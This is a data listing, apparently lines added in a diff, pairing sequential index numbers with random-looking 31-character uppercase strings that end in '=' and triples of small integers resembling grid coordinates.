+3605,U4ZKGZTCA89RH8HCTK9VM4CPFTOAAKF=,57,2,4 +3606,KWHZ37P6TWG8YB5VEUY7KV4408UQUL9=,57,2,5 +3607,2WL8T7U0HZ1EMMH5NGM227J8NMJQ0BG=,57,2,6 +3608,C0WS27FQK8JJBALH9M3ILJCMLH8G0TM=,57,2,7 +3609,2SZFZ86EWNAC06L2QPTCTS50Y1P8TDG=,57,3,0 +3610,4ZOZURP2UMDI7QIU91SMOXSQL9VQ5LX=,57,3,1 +3611,BR1Z5XC1Q1AN0M0ZLEP791FTQKXK4BQ=,57,3,2 +3612,H6M6XH8M07GIJI03SXP16UUVJT5ZOE4=,57,3,3 +3613,8YM0FY2ACRUXT3RH76C9DQ80RAG72NO=,57,3,4 +3614,DVTXJK7BGN6U9LOZJBFOTWUE9VPJOP5=,57,3,5 +3615,LB3UTQO6UXC5QXY4RFRJU2GA6CY7QU6=,57,3,6 +3616,BNAT4VCLCE5KCS1NPDDXX5A18CWJNKZ=,57,3,7 +3617,C4A3UAB4Y6W5UIX13JKZGRZJ031P12G=,57,4,0 +3618,1F7RXZN7E5M5UQ845K6ZIAFJYNXBWCE=,57,4,1 +3619,ZABXFI8Z7SCWP5F3Q3SL92O25ED3TL1=,57,4,2 +3620,AWALJ60XTO6N7Q5AJS12NPU5HSRG2HB=,57,4,3 +3621,VGXG21PADTT7GPFD7US646LQFFQM82U=,57,4,4 +3622,I1K28P1POS0Z3C8GWE1IYE87M8IZF0Z=,57,4,5 +3623,Y2ETUYERO4M4C8X4FO5BFN52PD4P6VX=,57,4,6 +3624,39UOUYZWUN0VZ2AIPY20TMW2T3ZYRN8=,57,4,7 +3625,VL73YV7344M0OJKJ77VWWWHXZLRX10F=,57,5,0 +3626,VYOES2N6BTYAFHK6206OJJFGATZCDIW=,57,5,1 +3627,FTXY712Q29B4TCQN0G72KP2MLXUSGLU=,57,5,2 +3628,RO4TM8C2F67DLANFO3L536LE4MHD4K6=,57,5,3 +3629,4YMPH2BL5UQW2L866U3B1ASL0YCZH33=,57,5,4 +3632,9D5JIEWC8XDA0KE8UDMYW4J0XV7HF6I=,57,5,7 +3633,WSZS8UAARXC0RLQJNRXO0C9TNYCD5HV=,57,6,0 +3634,LBD9DN30MRNFRPGKAP5TVC243GON296=,57,6,1 +3635,BP3HBVXSD0F3B4XTI3U0FA53ULHDUQW=,57,6,2 +3636,ZSO67AMVQ7RQ20N470KWEO7I6A8EUSR=,57,6,3 +3637,P0FZG21QLXXQ3CIGFB46Z15BRSEUI76=,57,6,4 +3638,GKSLOQU4DVBCDJ1Z7VZF6YR8FRZIIIA=,57,6,5 +3639,FD9A78CJF9VELBIK8CK5120ZFVRX9IO=,57,6,6 +3640,T6ZGNA5ATPFOG2A3A36GAT066KDLF9R=,57,6,7 +3641,LCSUZ9RG3Q2XE5LNYHR5S96BFNIGEU5=,57,7,0 +3642,MFR08XXJL2JDDXMBAZWTSR7LN67ZLN6=,57,7,1 +3643,1AZV1654RI9QRTHR8R4ELN53JL7HJEH=,57,7,2 +3644,N6ZJSXSU65BM0LTUGYRBZIZNJ8L2S3J=,57,7,3 +3645,WKQN5F2ARTBM1R0AMXG9VQ47OJ5X5M6=,57,7,4 +3646,Z4Z8TWQ6OHMPIEBDX6NH5D1YBB5NNR0=,57,7,5 +3647,ED0PX0N2RK6XEDRIJ270S7ZBGH00DRV=,57,7,6 +3648,D8NJMT9SCBKWVLNTIBW03JJLW0549QA=,57,7,7 +3649,ZHEK7NNIK15RYHQ8YEZHYN71KHJEPKP=,58,0,0 +3650,XC8G48335DUMNFNO2CW6TRHQRJSBQVR=,58,0,1 +3651,YXIJ0ZHKVIH13ZV037BSYIT7LEZDYHP=,58,0,2 +3652,YT4EK8OUCD6PNLF2SYV4N08E6VF6M55=,58,0,3 +3653,SOBAXXLR3C5NYQ7001UBXX64WXI9I7E=,58,0,4 +3654,K36JMB97RUJVVPBRCCBBPPRU92IRSYS=,58,0,5 +3655,0K95U1MWDWR7L7ONVNVCL658VHQR2AU=,58,0,6 +3656,S658L3QBNXSN53T2X3EMB2LSWS4DQU7=,58,0,7 +3657,7LHEV0JLDQQICD3W9NHWW0UGMPCIVMT=,58,1,0 +3658,FFADD1NL5L291RSWK2UNA8LX61MWE6R=,58,1,1 +3659,RESK7ALDBKRWYXMEYSBE75X8D420C3K=,58,1,2 +3660,KEKHB6JCA40JD3F60QJRPP1YJ5IS39A=,58,1,3 +3662,I8EG4BWS7XQIHH41VDEUBABSK5ZCG92=,58,1,5 +3663,WSF3IBMMNI2DI98C5E5ZRT9SOMQ0HDX=,58,1,6 +3664,PH6UXY37SJ5H8PHGT4L0BHV1MZTE6JZ=,58,1,7 +3665,L51892RFKQAGIZWPHOYFXPS9SZX14NL=,58,2,0 +3666,ZVZO0NH1MDBCV3BDHCZ2I65D03RQ9N4=,58,2,1 +3667,1DLZ7FYJ53DOIHGFEYSF2AHYVW3MCR6=,58,2,2 +3668,0CI6BPOFMCXGZH8MP4VQUYXOJYYOBFK=,58,2,3 +3669,52JVLM3D7J7RAA1W6TS0KK6X9VO1SFJ=,58,2,4 +3670,C70U1RV7BYCSJ59LBEZ58CBV0HP3RR5=,58,2,5 +3671,RNF98NM0Y6VWL8A7BXJYD74NASCBESK=,58,2,6 +3672,1SRGDVJGERVYDYYKPT8PFJ6KNUJW3EZ=,58,2,7 +3673,6E007T78AS6RC2YK0CDES2IYE551ECO=,58,3,0 +3674,RUKPJIRFIM9YYIY3TXZUKY4T1WS1JC0=,58,3,1 +3675,F1DNC80XSPJQ88VFTGK2ZBMK74CBMPO=,58,3,2 +3676,1U08DJLZOFPA479CVPK96IN7NQUC6PJ=,58,3,3 +3677,N30S0YEZD1V2O747MR0TIE89BVCN8IM=,58,3,4 +3678,GJ6IRZHJ04CHP0YJJAKG7OGIQPS4IZC=,58,3,5 +3679,9SO3FN64JCKDM6HTS3DDB7PO0PN887P=,58,3,6 +3680,SPB80TAQIVYO8SS9UAQUR4J0DGXACN3=,58,3,7 +3681,OB6JTRHJOF1DP865I27H344LDVJ802R=,58,4,0 +3682,LGORRVF9W885J6S3ZEAOVCH6614NEJP=,58,4,1 +3683,QMB6GUBXJA0WDHKMXIL213OUW0X6J1B=,58,4,2 +3684,4SFPHUUPDVB7V5SQJZ1PBL0ZEKQ3H9A=,58,4,3 +3685,FBIUU1GCTHMGXOHTCNTEHY6DM1NJF2W=,58,4,4 +3686,H1J92Q8P943EO5F9TSZ7H44RPPL2VXE=,58,4,5 +3687,YZVZEZFTQ5U6TF0WGIXEX570RHFGKE1=,58,4,6 +3688,M2KVI1VZUGNY7STR8SM2P51OWJX1ZEJ=,58,4,7 +3689,1UOFPO5GFIXU2175V4BX8YVRY5OSD70=,58,5,0 +3690,IAE6BVIB7FSWM35I9YT0OC1E3S90O1R=,58,5,1 +3691,DBKCTH420EFICAL7U9Z02DOY83UOVE4=,58,5,2 +3692,MVHRTE1RSNIYE9MT5DY6KWEKJWR6B6P=,58,5,3 +3693,225S5FTC7NNRGAKG1Y9XWNL058YXEYL=,58,5,4 +3696,9LCKPTMEAUI10RZ04F9K260OU5QQ624=,58,5,7 +3697,MFU8UNYVHG7O265C3RDLNYZL5I6B3GG=,58,6,0 +3698,NROT0UTCCMW7JXWDMZIPQ5MX3YMJXUS=,58,6,1 +3699,W30FARASEX2O413RC2M9T4W30ASAU86=,58,6,2 +3700,KKZ5393KPUO11PRUH1JWI25M2JGBYJX=,58,6,3 +3701,RX205NHHW5F1JTQR2Z78AU3JCRQXGXL=,58,6,4 +3702,6GLYNUHP4AZBOT0XFX3E8H1U1VK40S5=,58,6,5 +3703,5N6OUHI0OENLY7ZAV8KTNGVCKO4ZO9Z=,58,6,6 +3704,XP4FKDZJ6CRQ9761W42OSVFYVC7LZ94=,58,6,7 +3705,LV6WK1ZF7O0PML65C9S76NF856NO2JS=,58,7,0 +3706,A3JMZAZS0ZEMHTDDOQFS286BPUGHIPV=,58,7,1 +3707,BXY6ALD36B64XAIOIN3IG7GS2NP89WQ=,58,7,2 +3708,LOL1AMUIEEPHPAJK9MH5BZV1Q89XZM5=,58,7,3 +3709,REX3P2Y5RAFNHSSAZ91OHO3RLLELNSX=,58,7,4 +3710,L2QU426T25U2W3922CFRBSJVQ1LZI91=,58,7,5 +3711,28JE3KW0DX4C9LZMYEYHCRNFN041EEQ=,58,7,6 +3712,ZEKKCWC7UCWS3CQK80TYX0I36BXGAQS=,58,7,7 +3713,JMEY3V33F6R6IIAIAB9S8DWAWY9CMO3=,59,0,0 +3714,T0BSE2MB0Q0TKNBTUB1UVMYG0B6WJ36=,59,0,1 +3715,9IFPVAJBBQRCS7ZEJKXVREY93X8AIU8=,59,0,2 +3716,UZ7138S47SKT5GWZGOSQ01WJF3MINDV=,59,0,3 +3717,UMA4GSHS0Q6GP0FE6AZBM6JVJNRSW92=,59,0,4 +3718,J4JUGO09V10R5XJQWNXW7BAZ6E3UKTV=,59,0,5 +3719,8FKIP1A2Q54B270PVX6V82UTIQDM7P3=,59,0,6 +3720,DYRHJPI74T8M75QWH3RPVLVNXVGW9ZH=,59,0,7 +3721,5MTYUVVQZG5X6UVY9C114K0WSNPFL9Q=,59,1,0 +3722,BZ1CYWHCGT6WU8P0OPU1TKNN5KN59BL=,59,1,1 +3723,L4EH86VR29OOIXW7LKWKWQNXIRDMYV0=,59,1,2 +3724,G95SZ7QUEWM8JD6CFYWX1W8TBRQBRAS=,59,1,3 +3726,JGJ10VJU6TQKX3NXOSU91QMW8M1TG2W=,59,1,5 +3727,OIVUSFYHSHH22ZFWN9HASPIRCLTRW9U=,59,1,6 +3728,P5N3LMYP3ZLID0BP7YOJCQQLC5NN114=,59,1,7 +3729,COB1781CVKTQ4IF07S761TXWZOWO5NG=,59,2,0 +3730,G10C0JBTGWGCVV54HK8OR7WRXEKVQXV=,59,2,1 +3731,IPCURLWG7CPT8UFBVKTAD117FP8O41M=,59,2,2 +3732,OSGH8AJITJZM7XIATAU0RVUQENOBTJS=,59,2,3 +3733,WYBIL3Z5QHKZNRDRYL2GMKJH21DAN30=,59,2,4 +3734,1K9CT021ZNIHY1MJLATLAZEYZ19N9J2=,59,2,5 +3735,8B7PYJG6VYH2K5E6IJNSRK20DJDYJ6L=,59,2,6 +3736,IF0MOZVADPGX5SOX3QV3ZN635A0DF4P=,59,2,7 +3737,U4IJSN8SCB52Z54CCXIGR8HBPVZU0HN=,59,3,0 +3738,M023R23F5B58IM382NSIITNAK7PCP51=,59,3,1 +3739,2V4MHULJYDJVWWBSBT7FJ8H7L1VGDK1=,59,3,2 +3740,28TU2D58GVXLAOLKIBCQIK3KLJ8B423=,59,3,3 +3741,3SSRIMZSI5ECD8MVVMJOO9GUUZS6WAK=,59,3,4 +3742,DSHVYNVU20JOHONWIVRA0RORUINGBQP=,59,3,5 +3743,3QT5UD9QATDLY0I2RA0A2W9NRP8XFUO=,59,3,6 +3744,PO5HXTM8YCGK3SRWZ437E0GLDO5YZC6=,59,3,7 +3745,Q9HCKONK9XDLO17L7WWPO2784WRXP0R=,59,4,0 +3746,AXG8PUD0FDFZW0FCB6U26GDETZGO8N2=,59,4,1 +3747,EPOO8H30EU9STSVQTHCPBYV8AT9Q0LP=,59,4,2 +3748,ASSG06SR0L6LTIMKAOFF8SBXZIULUI7=,59,4,3 +3749,4WJWFMMT235P1Y8K4H6G5C9TSTWNT59=,59,4,4 +3750,YW1M3QZE9DSLSR96Y21D0OU85CM6UFS=,59,4,5 +3751,GTJAXLVN2KGEAMK6ACQUX7WHR2IXU20=,59,4,6 +3752,YJUIFZRIPTRSCTOGTX7U4ROXG4YSBWL=,59,4,7 +3753,ZUJ017KBUUOTLO7EH0UJWZ17KEI4OOY=,59,5,0 +3754,D0T4FCTSDBK8WWKLSIIX877Q2ZNC5S2=,59,5,1 +3755,7W25W2S17ELOULWBUKMBV690JTQ3SN4=,59,5,2 +3756,OWTLUNST5KRCFE0LLBU3R4FZLYJFNBG=,59,5,3 +3757,WPDYY4KFITYJMTET3WSZWIUQJM6K95B=,59,5,4 +3758,V4DT7EXA2JVD6JRNCFW48Z1GGGKW4NR=,59,5,5 +3759,L7R8L7PJRE73WEHN4Z3HH272Q1B3PEQ=,59,5,6 +3760,T5NXV3XFQPN7TME69B1KU5WX31AGZJN=,59,5,7 +3761,Z3EQNI85VDCOGOAH6J1POWPL3W5PEC7=,59,6,0 +3762,HPNTAH3ONP4U9HQKKV5RQMDRLVHMPES=,59,6,1 +3763,3AC6IFVRGVZOUYSHUBB89LK6A3LZOH8=,59,6,2 +3764,6C3F22BH65P33KDOLPSZ2164E099426=,59,6,3 +3765,SFDT8IGT4EEGGRNPTGKY00EAJAKTWKS=,59,6,4 +3766,M7PY54RGMK5YVATX4AN4KCCUDV6VM1V=,59,6,5 +3767,275BBFX5HP37CZ4IVJLVPRAI4W6W5Q8=,59,6,6 +3768,52L6KA7QXHTQKRKPQ2BK0FJBK69SCFC=,59,6,7 +3769,THL5QYJKNL1YLHK1AEAD37JKZ7SQ279=,59,7,0 +3770,1IAOTYJEXCD4GFLAGORPJR9GPUF93QU=,59,7,1 +3771,01BQ666ADMQCTG9BFDUDUCPJXM75448=,59,7,2 +3772,G92DXHVP44EZB6EJW0QGUDWY1IBTOIL=,59,7,3 +3773,571FXYIH07D41CVGTU35BI33PHIGTLZ=,59,7,4 +3774,X6TYQVX9XGZWTC9RG7YTSDNIV09OI40=,59,7,5 +3775,1W2TAXZLB4X56AE1R7QBC2A5R7FSOX1=,59,7,6 +3776,SN5X79FH9WLBQYKJ77ZUXKHBAY22NUB=,59,7,7 +3777,OO4M9MZC8ODCWM67TOXLI9I3808VDOZ=,60,0,0 +3778,GR9KKZ9DIRE39Q6KXPMQC9R3DGOB3QQ=,60,0,1 +3779,KI69SQNAKCVV78BUHFTC625YR5563RH=,60,0,2 +3780,0N2D2HJQL3LB9U6HXTYOZ2VBXJKTUG0=,60,0,3 +3781,5B9VN1SU3PGXAECMG9DYUNVLWWL8XDE=,60,0,4 +3782,K2RGN0LPP9T5JNQKKCQ8419GN70A3FO=,60,0,5 +3783,EDQUZT9V9ZMLPNRU26XMC4L14WDZPL1=,60,0,6 +3784,42CF79W2DOQFLR11LCDYIG5CCTAZNG4=,60,0,7 +3785,GKANH6W8V0ZPDG0NO76U8I64MS2IGFO=,60,1,0 +3786,JQ725JS1PQFUN29GFS60Z4LH32NYBCC=,60,1,1 +3787,GHQZKYK2WF74O6P5MI4WHSVV7J47ME3=,60,1,2 +3788,TPCQEYNGKPORHG111VL7EHRPN7FXOK1=,60,1,3 +3790,SYWOJRM1CQDRNVO4SQCGRWFGITMF5JO=,60,1,5 +3791,NXZ2ZB1HN5K9QAL0J9A4IQQBWRFVVTZ=,60,1,6 +3792,LGVK5VCZ499M38B6EXEXR1O0UNTB5UI=,60,1,7 +3793,HABEUUYZTSAJVBGWP5RHGYRBCMQY2UT=,60,2,0 +3794,LBRU4BDELJ1XMMHH42UY918SQOMO22F=,60,2,1 +3795,KH59OA8UFZE9MHBXF0141VRICM9GY06=,60,2,2 +3796,EW20JIIY3M986YJ2DGV08R6FY2XFVX2=,60,2,3 +3797,GDBVJKCUM7WGW80W0HV58UU85D9Q4HC=,60,2,4 +3798,7N8O7DDE5WW83LS4MFZX07KOEYFUA23=,60,2,5 +3799,GJHJGQ7L8O7PFWFNS4SQ03O8S8NSYB5=,60,2,6 +3800,K33F6RBQI7JN8AMESJJXMNZLDE4RA10=,60,2,7 +3801,2YNPO75N92E4PCOD9QJNBP1P5HCEOKQ=,60,3,0 +3802,B6C61CVGBGJQAPBCDSI7MONFNMCQ69M=,60,3,1 +3803,84I6UMO5Z4MAL2GDMLXSJ7UZVOUG6K0=,60,3,2 +3804,5LZU8I0PMMYRRNC4KNWVZ6753R7ULLK=,60,3,3 +3805,GPA48QQZWI5HKBDNOCABW89K8YY19JQ=,60,3,4 +3806,CVIQLL39MR8DAIXBX6HUDXIMIZJR2O0=,60,3,5 +3807,6URYLEWYD3MSNJXL9OACYRB385HMQSN=,60,3,6 +3808,G0XCORWJKGS1SIHTWBG6AQWAKQFRM6B=,60,3,7 +3809,W3JC2VD6OP42CZGK5PEEEP2LROAXH44=,60,4,0 +3810,X3WRLG8CDVG8DI28NSV3Z97N11654B8=,60,4,1 +3811,TF7M1KX23E2938IBPZHDZ2M6FFDQ6K7=,60,4,2 +3812,8SICTIEBSCI42GCE12V3KZANYI4Y0CQ=,60,4,3 +3813,0OWXVWFZEJNOBCNBK2EK4XV4Y960LL6=,60,4,4 +3814,XDCYJQVPLQ68YBBKPR3G9OJPAJH7E6K=,60,4,5 +3815,TH920TGU2VSSC8O2Y3LMVDSK9RI3ZGE=,60,4,6 +3816,VBHU4PPU96S9ZK2D144R1P7MXIAJNU8=,60,4,7 +3817,F7M2K2N39BLFEQL81OIAT521XYX8NU4=,60,5,0 +3818,WSHJWBFH5D9BA7YPNMK293K7PDM81X0=,60,5,1 +3819,4IMPH61H38T5CSAXKUFONQCEHC50IOS=,60,5,2 +3820,8KU0UHM1N4JHLY15IG5XQX5LHYA0SRD=,60,5,3 +3821,I7TW26ESL3T8V9ZZ9QG0CUAE7EVE23R=,60,5,4 +3822,XC7OI9FP8A3DHJLID2IJ8J3VE0V8JYD=,60,5,5 +3823,472LH9XC8SK7DM8TX43XYDUQDY1EP7Q=,60,5,6 +3824,COC9QZ86UWRJ5BUXJWOJO68ZIP51HOR=,60,5,7 +3825,H2S1L74SK4TFZ6C4Q88D8L0ZCLPIYA8=,60,6,0 +3826,2WKVCLLQSFIMN5DFG2G63U3ZX5BWDER=,60,6,1 +3827,K3B3PIGSPSGRMZRGO99P6P9VYPLQNS4=,60,6,2 +3828,HN58Y1B3X28AWIX5CAL6LW01RQICXVR=,60,6,3 +3829,ALPDM1FYULUUROLF2KJ7MVT0H1WQHYO=,60,6,4 +3830,4FKQ019FDPUWKA08GHKD16ZK9EWCSRY=,60,6,5 +3831,P3LD0XCITG9ANFP8JCBWXLDZ35EP4G4=,60,6,6 +3832,U8Z7CULKIIOVCY5MJPQVL1AOJWNQ24D=,60,6,7 +3833,SN9KEWAA4ZJ69VBASG30GYVCBWY6OEW=,60,7,0 +3834,9XDIY51S45NGN7JHHHIIEGLE72D21GO=,60,7,1 +3835,GFR2U4BUC8722TU6R6IWPH7HG5H08QX=,60,7,2 +3836,QHKQOPH0IAFP6K9TBB4PFX6PGS02NF3=,60,7,3 +3837,X5N2XTXZAK7AL8H03MTT9TH5D7HWNTX=,60,7,4 +3838,UQ28S9YFAIUQBIMZCT1J298SY7RA41U=,60,7,5 +3839,9NMLENY2HTCNAANHXSP75SNA54U9XPO=,60,7,6 +3840,FQRAURDK1F4MMC0JCH1J065BSDRROFF=,60,7,7 +3841,YPQ2DJB6NI033MNEY8KA5NJD7DTZ70T=,61,0,0 +3842,SCAYCV3F90FQOZ32RUORFE5UGH190M7=,61,0,1 +3843,9REXY1JORUB24MBLIX7045N4BOQDF6I=,61,0,2 +3844,540ZW70TYTQEKPI1WDGOHK2R4G27PEQ=,61,0,3 +3845,EB93BWZO6VKG8G3O22QTFQRVKHMQ84W=,61,0,4 +3846,C84BH5JAZ6S355IAQSC1RG2XEZYX3RX=,61,0,5 +3847,KU86KNG067RYWQ9BYC7JJ7X0D05TUF1=,61,0,6 +3848,U3AEWPZ9YH79P6KR4LAC05LZOWJJE5H=,61,0,7 +3849,OWM9NO1IY2PWM9D8ISG8QY84MO8BP41=,61,1,0 +3850,QWOMONZJVPBCEJ5BZS2FS2BLQ0A02S2=,61,1,1 +3851,MY2J4A281ZEUXG1VV8188KUUCBJN2AM=,61,1,2 +3852,OHP9BHS69HX3Q5UF36U8XLP8OS2VXG1=,61,1,3 +3853,MQOCE9NV7GNGMRBYXTQIGXMQAIY0EYU=,61,1,4 +3854,W87E4I2T9WTE2MOK4EJ8QAQCL7KAR6T=,61,1,5 +3855,IDAXX9VSZ7PPJ5D9M5Q5ZJX31LKDSVC=,61,1,6 +3856,7U4IDWKCSNVL8SLC767OCJA50TLQJEY=,61,1,7 +3857,SASQ6QID5V9CAT8H9Z2OEWA1ZOG275C=,61,2,0 +3858,0XSB8C8HMY2RUS2W06LBV1HHYPR0OPQ=,61,2,1 +3859,RRXK4D2HFI8VBHPJQXYAMSCB40AJXL6=,61,2,2 +3860,XI9EO2GYWBRBDJ3P5ZHC7NFTQ2KJ0VC=,61,2,3 +3861,LNB9YCPEX9NXTLC22RZRVP3MVMZMVW4=,61,2,4 +3862,H0QXHVX8RI4AR9HNGY6TWEY51YKMFY2=,61,2,5 +3863,AF0SF8FP8EL790404QP0JT44IYT9O3H=,61,2,6 +3864,659I2TFBQTF98ZZ2UDVC054S5MUSLJR=,61,2,7 +3865,RR70KGR1XW3CDA289MWIPH7Z6EN1Q2U=,61,3,0 +3866,LA97J2E01YSGMB8WZI5TPFTYFPI28QW=,61,3,1 +3867,PZNF55NVCI9I88RKSV0PLKFJETP8I7J=,61,3,2 +3868,F4M1W5U1XSKYKHJKVSMV7F0I083S3UM=,61,3,3 +3869,6YO59R25E68IV94FZPXKFCUX2D8UXU3=,61,3,4 +3870,ZIJ6LOYZAWKQ6PY5OGN7G4M8R1LWT2V=,61,3,5 +3871,QVARZ3KPOT1D2GWB9RTVP9IA9D93JL2=,61,3,6 +3872,RW1CPMQBKW7871E0743AF0IQHM38TSR=,61,3,7 +3873,NLOBCL6HCGFXS2UAMN6MLFA3RTRIJZG=,61,4,0 +3874,GGQ0POG54I84S31NHCMYMPP3AGSC6ZO=,61,4,1 +3875,0H0G8KMB08W5S10S9EWONMU3W2442PT=,61,4,2 +3876,D9OMLLDR5CTIPX63SKK9TYLWD2LASD6=,61,4,3 +3877,LIU55997FRVES22RXNDKGLVIC8DC0GZ=,61,4,4 +3878,WIE8O9XSZAVP5V0L0VZ3HG0CRY24LB3=,61,4,5 +3879,EKO8K2KG9GE8PFICE5GSPJCS5IQREPY=,61,4,6 +3880,JN242IWLI7L6NVHKYF5HVMVM5LVRZ3P=,61,4,7 +3881,Q9SQQAGUA9LPJU26UEOGQH8Y53D1Q7N=,61,5,0 +3882,DJVSKXMGZIF43BWCC3JL9NAONPVIWAY=,61,5,1 +3883,MKHLNUJ0C929351LZ8SSBZU51KZ7HZX=,61,5,2 +3884,Q7YFUCHYERA6JTFMGTG1LJPKVYFIYE4=,61,5,3 +3885,KNDMXWYT21QOJ7B6UKTX1K3HRMPIM9V=,61,5,4 +3886,7XQ6Q0BHXOLWCFW9LG3XG1G86JIS05M=,61,5,5 +3887,LC4P5HU32V7NTQUO1AVBX8KUC8Q0RV0=,61,5,6 +3888,DGEYBRVGI9XP3997YLPKGD40HI3KNIM=,61,5,7 +3889,DV0UH6GMQMPV86CM5XJA1X6X0PFGI7S=,61,6,0 +3890,USQ9W47AIWXTU8B6GQPKIM8YN0EV59Q=,61,6,1 +3891,UF54UH5AU6XKJC52ME1T0QB0D0I9EG3=,61,6,2 +3892,NVIUWBKD3JDB3NZLUXRCVPR5TCGZ1E9=,61,6,3 +3893,OAR4DMJQ7GCTOV5X2CYJ4HAKY3Z6LP2=,61,6,4 +3894,4SB9MTDR9LQVMUG73N02J88M40FTTQ4=,61,6,5 +3895,RIVPU2KCKG34Z068ENA65KSCV7TGZIJ=,61,6,6 +3896,K7IH20XVZCWXOXFEHTLDK3C7GMALKIK=,61,6,7 +3897,RVX6OQXBYJGUGZQ04TEQ5OQC2B70FIJ=,61,7,0 +3898,W50U4LQTWZMX4L175DSDCR1ZM8HPXCV=,61,7,1 +3899,BYOVR9GLJN3W0JWLPTQYYF4CLDEX9FL=,61,7,2 +3900,6E957744JD4E938TQKSAQO0IANGABK2=,61,7,3 +3901,SDOQMG5J40C16O8RJJQEXVGUTAVD1XA=,61,7,4 +3902,DU0I4XJTT1MQ0LGB1NVJX7L34W2UEG9=,61,7,5 +3903,TDIR3ZQB5MAK04GEWE5W4QRSTG843LO=,61,7,6 +3904,ZERX2V1JQCIG26NFCNXZZD8GDZBYFMR=,61,7,7 +3905,53CH5NDI72PMKP2DIM30H7NDAR7UJJH=,62,0,0 +3906,9T6YACZCB98H2HL04YI3QW1GC50NASL=,62,0,1 +3907,U94DIJ37390WJ35OQG7A9TXFA0CP9RA=,62,0,2 +3908,G25LUKFULIU1CRWVUL08VZQ459LSXBV=,62,0,3 +3909,7FID8NZFJ4TZTIOXSFUI7V6TAXRN7KN=,62,0,4 +3910,95VDBBKPUBUL7ABAMI5Q444OGXX29AQ=,62,0,5 +3911,BEC7EYSLEF1MPMD4S1W5KS10NRKSU3I=,62,0,6 +3912,9GKBVFKLRR0IQOSYUXVNRMGUFNX8WUW=,62,0,7 +3913,837AZH9LSDY7DXKIDKJNOEIZUOEC22R=,62,1,0 +3914,O74CNDI2HJQQFHQ74ASGJLMF4MFULD8=,62,1,1 +3915,KOJ6H00JMBKVPPG3BRLJN4TROJ8DTYA=,62,1,2 +3916,X3U5CUTXBCRYTLZYZ7GJ358LD30A61O=,62,1,3 +3917,QUJU65AQF9ZP6ZHPN0OJI9VX9J47R6S=,62,1,4 +3918,27XZJZCWV7ZJ552931NM1N4QUS1XZYC=,62,1,5 +3919,9UTL9FT7I14RMN3HVN2TQ8WKOK8083J=,62,1,6 +3920,SY13M9BR10KLT15U4LHNHC4K2E64RLT=,62,1,7 +3921,2V7QT1ZLNP4AWGAQQ7LW1Z3G4LR0RJH=,62,2,0 +3922,BOYDP19HQ3TUTUGAHO9FIF26DJC1BK4=,62,2,1 +3923,V4PTMIP8TLHIFH0VD7EOZHXWEXPMGB7=,62,2,2 +3924,J76Z1QLKMJOPEQ0A9PLVTEGWTANZSBI=,62,2,3 +3925,DYTA6BM6ORBBDNCYS4PRJT92TOHGPQG=,62,2,4 +3926,VANX9VEPYCWZGA1O0FOI8RGJZZACP97=,62,2,5 +3927,QEVSJ8BFSHX9VWEQ14H8SUHZOAWRK0Z=,62,2,6 +3928,FMR1KYH4QL6TTZDF5TMB8VSTCKM7WJC=,62,2,7 +3929,UJETGZ5414F9TK02D9M2EE1PJNHH6PU=,62,3,0 +3930,CE5WSG1QUF78PD9KU5I3NG5RA7AWZ0N=,62,3,1 +3931,NL3H8LH0V1J6J7T9RW7YW514EQHOFSE=,62,3,2 +3932,6LLQRMZFH405G85E65KNAXCO8IK3P2F=,62,3,3 +3933,QP12ANAT0RX6SQI19XFDK9EMNGPGGUP=,62,3,4 +3934,F5RYTLDHU1HUH4WCSF18I080C51SQO5=,62,3,5 +3935,NLMNCNJS7WFITUV3KDNXEIEKCY8C6H7=,62,3,6 +3936,BRRT7A8A1Y97Y1HTJ02HCXEG6XB1N44=,62,3,7 +3937,9U20O6HD2XALL57SADBAR4NXERCESPQ=,62,4,0 +3938,EPVY5OI78Y27XKFEFQURFYV0CS5SJJO=,62,4,1 +3939,C9H2UY8142CG3LE9PG0VUT4VZ8S8ZA4=,62,4,2 +3940,0AWJV0PE2KU1Y18288ENUV77CJG8G0N=,62,4,3 +3941,Z4XD1C4QKFCUCPB7STIWRD2X4V1MHX3=,62,4,4 +3942,RDNG9UK6XAMMUJ5VTVNT0WAMQ9TTI7N=,62,4,5 +3943,407D37JCE3IJKHEOWKW3VPKJOWY32GB=,62,4,6 +3944,I5ES3QHH3BQ9BZ1PZXNCSA8ZPPABAW1=,62,4,7 +3945,CM1NHBRBN6VO4PTD9ZKD2AXTFFZTOPS=,62,5,0 +3946,I5ERDY9QDS3MXFV9KX1WHO61H0SXKGQ=,62,5,1 +3947,D0C31UL5Z4J5VVF5ZICGVZFGDC7QIGQ=,62,5,2 +3948,W2RSCFIRM12CGRWTJOL0U7GRZ21DA8O=,62,5,3 +3949,1M1U2MTNXYRMP3FMWS607GC3PXQ58DU=,62,5,4 +4497,0Q2FR8AZ8DUXU7Y3L5NV39X242GEF42=,71,2,0 +4498,EDD2ZETNMV7ZM5RRM36FXB8UZ8YKGN6=,71,2,1 +3952,PK52MMBTHCLDTKBUIRPGEPWSOCAFD5A=,62,5,7 +3953,XS7ETXOTGTAVBZWFOD3649OXO2WX7UK=,62,6,0 +3954,GYBASHT8OH6997QI8UU4JN69BB4XR5I=,62,6,1 +3955,7O42PWBREEGVDENAY6H84X4ED3MGYYS=,62,6,2 +3956,RMLK358ULSSTYW9USRV6BGXOQA1SVR0=,62,6,3 +3957,LZ9QTR8XCXZE0A0G6F1ODVM9HNN0NST=,62,6,4 +3958,QB8GI53E4BYTHGJR787WZAJ147R11LZ=,62,6,5 +3959,R73IY38TCU9XPFZENM0AKQ99HUL1ZW3=,62,6,6 +3960,O5DQ2B72A105H63AB0QTZBIAD408GMB=,62,6,7 +3961,UPSITTG1PMSPQ8VALN9HBE08I4YZ16M=,62,7,0 +3962,C137WNXK3A7XZVR55429R69Y0MVCUJV=,62,7,1 +3963,EOV7D7UPOHQP7RHWFFFKQORCRWH5HYN=,62,7,2 +3964,QHD7HXAGZD8NDM5NV74MTH1LOX3GG39=,62,7,3 +3965,GGMPWPQICVWUOAI7DBF6OVSLWWWHB65=,62,7,4 +3966,QQP8L2EZL30GPBMKXBGAC2R7HUBRM2J=,62,7,5 +3967,E3NTIM9TE1LOIDZZ7RVJDLGWHUYXVTD=,62,7,6 +3968,STT5CS4CR62YKIK5LQSFWYCHF2ZD6JY=,62,7,7 +3969,MNNEDA6ELAUIU2F5KD0K9L6FZJ9ZRTC=,63,0,0 +3970,Y0YN9K3H480LP6BB90HTJV344WIMR0H=,63,0,1 +3971,BOHBGBXK1CGE6059OVA6CTGZTX77KIE=,63,0,2 +3972,H8KB18SQZC6E0ZSD6J0H5ET53LIGH3C=,63,0,3 +3973,JHE7D4OITLSYZK443T59TCF7WCXI1M5=,63,0,4 